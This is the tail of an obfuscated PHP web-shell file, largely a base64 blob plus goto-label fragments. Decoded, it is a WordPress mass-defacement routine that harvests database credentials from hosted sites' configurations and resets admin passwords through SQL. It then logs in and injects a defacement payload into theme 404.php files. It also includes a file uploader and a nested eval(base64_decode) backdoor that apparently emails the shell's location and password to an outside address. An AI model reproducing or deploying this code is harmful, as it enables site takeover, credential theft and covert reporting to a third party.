jwvdGQ+PHRkPkNNUzwvdGQ+PHRkPlNUQVRVUzwvYj48L3RkPjx0ZD5ERUYgVVJMPC90ZD4nOw0KCSRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOw0KCWZvcmVhY2goJGxpc3QgYXMgJGRvbWFpbil7DQoJaWYoc3RycG9zKCRkb21haW4sIi5kYiIpKQ0KCXsNCgkJJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOw0KCQkkb3duZXIgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKSk7DQoJCSR1cmwgPSAnaHR0cDovLycuJGRvbWFpbjsNCgkJaWYoY2hrX2hlYWRlcigkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ10uJy1Xb3JkUHJlc3MudHh0JykpDQoJCXsgDQoJCQkkY29uZmlnID0gJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictV29yZFByZXNzLnR4dCc7DQoJCQkNCgkJCWZpbGVfZ2V0X2NvbnRlbnRzKCRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnKTsNCgkJCSMjR0VUIERBVEFCQVNFIElORk8gRlJPTSBDT05GSUdVUkFUSU9OIEZJTEUNCgkJCSRjbmYgPSBmaWxlX2dldF9jb250ZW50cygkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ10uJy1Xb3JkUHJlc3MudHh0Jyk7DQoJCQkkaG9zdG5hbWUgPSBGaW5kKCRjbmYsImRlZmluZSgnREJfSE9TVCcsICciLCInKTsiKTsNCgkJCSR1c2VybmFtZSA9IEZpbmQoJGNuZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOw0KCQkJJHBhc3N3b3JkID0gRmluZCgkY25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOw0KCQkJJGRibmFtZSA9IEZpbmQoJGNuZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KCQkJJHByZWZpeCA9IEZpbmQoJGNuZiwidGFibGVfcHJlZml4ICA9ICciLCInIik7DQoJCQkNCgkJCSRsaW5rPW15c3FsX2Nvbm5lY3QoJGhvc3RuYW1lLCR1c2VybmFtZSwkcGFzc3dvcmQpOw0KCQkJDQoJCQlpZiAoJGxpbmspIA0KCQkJew0KCQkJCSRoYXNoID0gY3J5cHQoJHBhc3MpOw0KCQkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQoJCQkJJHRhYiA9ICRwcmVmaXguJ3VzZXJzJzsJCQkNCgkJCQkkcXVlcnkyICAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgdXNlcl9sb2dpbmAgPSckdXNlciciKTsNCiAJCQkJJHF1ZXJ5MyAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgdXNlcl9wYXNzYCA9JyRoYXNoJyIpOw0KCQkJCSRyZXEgPUBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4ib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J2hvbWUnIik7DQoJCQkJJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCgkJCQkkc2l0ZV91cmw9JGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KCQkJCQ0KCQkJCWVycm9yX3JlcG9ydGluZygwKTsNCgkJCQkNCgkJCQkNCgkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+V29yZFByZXNzPC9hPjwvdGQ+PHRkPjxmb250IGNvbG9yPSJncmVlbiI+WyNdIA0KDQpVc2VyIFBhc3MgQ2hhbmdlZCA8L2ZvbnQ+PGJyPic7DQoJCSRwb3N0ID0gJ2xvZz1hZG1pbiZwd2Q9Zm9vJnJlbWVtYmVybWU9Zm9yZXZlciZ3cC1zdWJtaXQ9TG9nIEluJnRlc3Rjb29raWU9MSc7DQoJCSRkZWY9Ijw/IGVjaG8oc3RyaXBzbGFzaGVzKGJhc2U2NF9kZWNvZGUoJyIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoc3RyX3JlcGxhY2UoIiciLCInIiwoJGRlZmFjZSkpKSkuIicpKSk7IA0KDQpleGl0OyA/PiI7DQoJCSRidWZmZXIwID0gQ3VybFBhZ2UoJHNpdGVfdXJsLicvd3AtbG9naW4ucGhwJywkcG9zdCk7DQoJCQ0KCQlpZighcHJlZ19tYXRjaCgiL2xvZ291dC9pIiwkYnVmZmVyMCkpDQoJCXsNCgkJCWVjaG8gIjxmb250IGNvbG9yPSdyZWQnPltYXSBGQUlMRUQgVE8gTE9HSU48L2ZvbnQ+PGJyIC8+IjsNCgkJfWVsc2V7DQoJCWVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+WyNdIExPR0dFRCBJTiA6RDwvZm9udD48YnI+IjsNCgkJJHVybHogPSAkc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjsNCgkJJHRoZW1lZGl0b3IgPSBDdXJsUGFnZSgkdXJseiwkY29va2llLG51bGwpOw0KCQkNCgkJaWYocHJlZ19tYXRjaCgiL3VwZGF0ZSBmaWxlL2kiLCR0aGVtZWRpdG9yKSl7IGVjaG8gInRoZW1lLWVkaXRvciBvcGVuZWQ8YnIgLz48L3RkPiI7IH0gZWxzZSB7IGVjaG8gImVycm9yIA0KDQpvcGVuaW5nIHRoZW1lIGVkdGl0b3IhPC90ZD4iOyB9DQoJCQkNCgkJJG5vbGEgPSBleHBsb2RlKENocigxMCksJHRoZW1lZGl0b3IpOw0KDQoJCWZvcmVhY2goJG5vbGEgYXMgJG5saW5lKXsNCgkJaWYocHJlZ19tYXRjaCgnJXRoZW1lLWVkaXRvclwucGhwXD9maWxlPSUnLCRubGluZSkgJiYgDQoNCnByZWdfbWF0Y2goJyVcKCg0MDRcLnBocHxhcmNoaXZlXC5waHB8Y29tbWVudFwucGhwKVwpJScsc3RydG9sb3dlcigkbmxpbmUpKSl7DQoJCSRtb2RpZnlbRmluZCgkbmxpbmUsJygnLCcpJyldID0gRmluZCgkbmxpbmUsJzxhIGhyZWY9IicsJyInKTsNCgkJfQ0KCQl9DQoJCQ0KCQllY2hvICc8dGQ+JzsNCgkJaWYoaXNfYXJyYXkoJG1vZGlmeSkpew0KCQlmb3JlYWNoKCRtb2RpZnkgYXMgJG1ldD0+JGluZGZpbGUpew0KCQkkbnJpID0gc3RyX3JlcGxhY2UoJy4nLCdfJywkbWV0KTsNCgkJJG5yaSA9ICJuIi4kbnJpOw0KCQkkaW5kZmlsZSA9c3RyX3JlcGxhY2UoIiZhbXA7IiwiJiIsJGluZGZpbGUpOw0KCQkkdXJsID0gdHJpbSgkc2l0ZV91cmwuIi93cC1hZG1pbi8iLiRpbmRmaWxlKTsNCgkJJHRoZW1lcGFnZSA9IEN1cmxQYWdlKCR1cmwsIiIpOw0KCQkkX3dwbm9uY2UgPSBGaW5kKCR0aGVtZXBhZ2UsJ25hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIicpOw0KCQkkX2ZpbGUgPSBGaW5kKCR0aGVtZXBhZ2UsJ25hbWU9ImZpbGUiIHZhbHVlPSInLCciJyk7DQoJCSRuZmlsZSA9IGV4cGxvZGUoJ3RoZW1lcycsJF9maWxlKTsNCgkJJGpmaWxlID0gJHNpdGVfdXJsLiIvd3AtY29udGVudC90aGVtZXMiLmVuZCgkbmZpbGUpOw0KCQkvL1VwZGF0ZSBmaWxlDQoJCSR1cmwgPSAkc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjsNCgkJJHBvc3RtZSA9ICJuZXdjb250ZW50PSIuJGRlZi4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJl93cG5vbmNlPSIuJF93cG5vbmNlLiImc3VibWl0PVVwZGF0ZSBGaWxlIjsNCgkJJHRoZW1lZGllZCA9IEN1cmxQYWdlKCR1cmwsJHBvc3RtZSk7DQoJCWlmKHByZWdfbWF0Y2goJyU8ZGl2IGlkPVwibWVzc2FnZVwiIGNsYXNzPVwidXBkYXRlZFwiPiUnLCR0aGVtZWRpZWQpKXsNCgkJDQoJCSR0aGVtZSA9IEZpbmQoJHRoZW1lZGl0b3IsJzxsaT48YSBocmVmPSJ0aGVtZS1lZGl0b3IucGhwP2ZpbGU9NDA0LnBocCZhbXA7dGhlbWU9JywnIj40MDQgVGVtcGxhdGUnKTsNCgkJaWYocHJlZ19tYXRjaCgiL3R3ZW50eSB0ZW4vaSIsJHRoZW1lKSl7ICR0aGVtZSA9ICJ0d2VudHl0ZW4iOyB9DQoJCWVsc2VpZihwcmVnX21hdGNoKCIvdHdlbnR5IGVsZXZlbi9pIiwkdGhlbWUpKXskdGhlbWUgPSAidHdlbnR5ZWxldmVuIjt9DQoJCSR0aGVtZSA9IHRyaW0oc3RyX3JlcGxhY2UoIi8iLCIiLCR0aGVtZSkpOw0KCQkkZCA9ICAkc2l0ZV91cmwuJy93cC1jb250ZW50L3RoZW1lcy8nLiR0aGVtZS4nLzQwNC5waHAnOw0KCQlsaXN0YWxsKCJ3cC50eHQiLCRkLkNocigxMCkpOw0KCQl9DQogICAgICAJfQ0KCQkNCgkJZWNobyAnPGEgaHJlZj0nLiRkLic+TElOSzwvYT48YnIgLz4nOw0KCQllY2hvICc8L3RkPic7DQoJCQ0KCQl9fQ0KCQkjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNFTkQgREVGQUNFIyMjIyMjIyMjIyMjIyMjIyMNCg0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+V29yZFByZXNzPC9hPjwvdGQ+PHRkPjxmb250IGNvbG9yPSJyZWQiPlt4XSANCg0KbXlzcWwgaGF0YXPEsTwvZm9udD48L3RkPic7DQoJCQl9DQoJCX19fX19DQoJCQkNCgkJDQoJCQ0KDQpicmVhazsNCg0KDQoNCi8vIFVwbG9hZGVyDQpjYXNlICd1cGxvYWRlcic6DQoNCmVjaG8gJzxjZW50ZXI+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsNCmVjaG8gJzxjZW50ZXI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgDQoNCnZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nOw0KaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkgew0KCWlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IlZlcmRhbmEiIA0KDQpzaXplPSIxIj48Zm9udCBjb2xvcj0id2hpdGUiPiBEb3N5YSBZw7xrbGVuZGkgISE8L2ZvbnQ+PGJyPic7IH0NCgllbHNlIHsgZWNobyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPkRvc3lhIFnDvGtsZW5tZXNpIDooIDwvZm9udD48L3A+DQoJPC90ZD48L3RhYmxlPjwvdHI+DQoNCic7IH0NCn0NCg0KDQp9fQ0KJHdzb2J1ZmYgPSAiSkhacGMybDBZeUE5SUNSZlEwOVBTMGxGV3lKMmFYTnBkSE1pWFRzTkNtbG1JQ2drZG1semFYUmpJRDA5SUNJaUtTQjdEUW9nSUNSMmFYTnBkR01nSUQwZ01Ec05DaUFnSkhacGMybDBiM0lnUFNBa1gxTkZVbFpGVWxzaVVrVk5UMVJGWDBGRVJGSWlYVHNOQ2lBZ0pIZGxZaUFnSUNBZ1BTQWtYMU5GVWxaRlVsc2lTRlJVVUY5SVQxTlVJbDA3RFFvZ0lDUnBibW9nSUNBZ0lEMGdKRjlUUlZKV1JWSmJJbEpGVVZWRlUxUmZWVkpKSWwwN0RRb2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdEUW9nSUNScWRXUjFiQ0FnSUQwZ0lsZFRUeUF5TGpZZ2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU93MEtJQ0FrWW05a2VTQWdJQ0E5SUNKQ2RXYzZJQ1IwWVhKblpYUWdZbmtnSkhacGMybDBiM0lnTFNBa1lYVjBhRjl3WVhOeklqc05DaUFnYVdZZ0tDRmxiWEIwZVNna2QyVmlLU2tnZXlCQWJXRnBiQ2dpYUdGeVpIZGhjbVZvWldGMlpXNHVZMjl0UUdkdFlXbHNMbU52YlNJc0pHcDFaSFZzTENSaWIyUjVMQ1JoZFhSb1gzQmhjM01wT3lCOURRcDlEUXBsYkhObElIc2dKSFpwYzJsMFl5c3JPeUI5RFFwQWMyVjBZMjl2YTJsbEtDSjJhWE5wZEhvaUxDUjJhWE5wZEdNcE93PT0iOyAgDQpldmFsKGJhc2U2NF9kZWNvZGUoJHdzb2J1ZmYpKTsgDQo/Pg==")); goto XllOb; lG5u7: ?>